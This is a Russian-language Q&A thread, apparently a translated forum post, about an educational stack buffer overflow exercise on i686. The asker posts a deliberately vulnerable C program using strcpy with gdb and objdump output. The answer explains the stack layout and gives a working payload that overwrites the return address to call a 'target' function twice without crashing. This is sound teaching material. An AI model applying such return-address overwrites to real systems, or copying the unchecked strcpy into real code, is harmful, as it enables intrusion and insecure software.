Использовать переполнение буфера

В моих исследованиях я пытаюсь создать полезную нагрузку, чтобы она переполняла буфер и вызывала "секретную" функцию под названием "target"

Это код, который я использую для тестирования на i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Задача 1. Создайте полезную нагрузку, чтобы вызывать target(). Это было довольно легко сделать, заменив EIP адресом целевой функции.

Так выглядит буфер

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Полезная нагрузка, которую я использовал, была:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

Это отлично работает, но прекращается с ошибкой сегментации.

Задача 2: Измените полезную нагрузку таким образом, чтобы она не выдавала ошибку сегментации

Вот где я застрял. Очевидно, что это вызывает ошибку сегментации, потому что мы не вызываем цель с помощью команды вызова, и поэтому нет действительного адреса возврата.

Я попытался добавить адрес возврата в стек, но это не помогло

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Может быть, кто-то может помочь мне в этом. Возможно, мне также нужно добавить сохраненный EBP основного?

Я прикрепляю objdump программы

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <[email protected]>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <[email protected]>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <[email protected]>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop

Ответ 1

Вам нужно достаточно данных, чтобы заполнить зарезервированную память для стека, где находится "буфер", затем больше, чтобы перезаписать указатель фрейма стека, а затем перезаписать обратный адрес с адресом target(), а затем еще один адрес внутри target() но не в самом начале функции - введите его так, чтобы старый стекный указатель кадра не был нажат на стек. Это приведет к запуску цели вместо правильного возврата из vulnerable(), а затем снова запустите target(), чтобы вы вернулись с target() до main() и, следовательно, выходите без ошибки сегментации.

Когда мы вводим уязвимость() в первый раз и собираемся помещать данные стека выглядит так:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...

Итак, начиная с адреса "буфера" нам нужно положить 24 байта мусора в пройдите мимо локального хранилища, зарезервированного в стеке, затем еще 4 байта, чтобы получить мимо старого указателя кадра стека, хранящегося в стеке, тогда мы находимся на где хранится старый EIP. Это указатель инструкции, что процессор слепо следит. Нам он нравится. Он собирается помочь нам раздавить эту программу. Мы перезаписываем значение старого EIP в стеке, которое в настоящее время указывает на адрес в main() с начальным адресом target(), который находится через gdb дизассемблировать команду:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <[email protected]>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.

Адрес функции target() - 0x08048424. Так как система (по меньшей мере, моя система) немного инициализирована, мы сначала вводим эти значения с LSB так, чтобы x24, x84, x04 и x08.

Но это оставляет нам проблему, потому что, поскольку уязвимость() возвращает ее, она всплывает мусор, который мы кладем в стек из стека, и у нас остается стек это выглядит так, когда мы собираемся обработать в target() для первый раз:

-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...

Итак, когда target() хочет вернуть, он не найдет обратный адрес на вершина его стека, как ожидалось, и поэтому будет иметь ошибку сегментации.

Итак, мы хотим принудительно ввести новое возвращаемое значение в верхнюю часть стека, прежде чем мы начать обработку в target(). Но какое значение выбрать? Мы не хотим толкать EBP, поскольку он содержит мусор. Запомнить? Мы засунули мусор в него, когда мы перезаписали "буфер". Поэтому вместо этого нажмите команду target() сразу после

push %ebp

(в этом случае адрес 0x08048425).

Это означает, что стек будет выглядеть так, когда target() готов к возврату в первый раз:

-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...

Итак, при первом возврате из target() EIP теперь укажет на вторую команду в target(), что означает, что во второй раз, когда мы обрабатываем target(), он имеет тот же стек, что и main() когда он обрабатывается. Верхняя часть стека - та же самая вершина стека для main(). Теперь стек выглядит так:

-----------
|  top of stack for main
-----------
|  ... more stack here ...

Итак, когда target() возвращает второй раз, у него есть хороший стек для возврата с поскольку он использует тот же стек, что и main(), и поэтому программа выходит из системы.

Итак, суммируем это, это 28-байты, за которыми следует адрес первой команды в target(), за которой следует адрес второй команды в target().

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>

И так как вы только что успешно взломали что-то, в этот момент вам нужно кричать AAARRRGHHH YEEE HARDYS! ПОДГОТОВЬТЕСЬ СОБИРАТЬСЯ!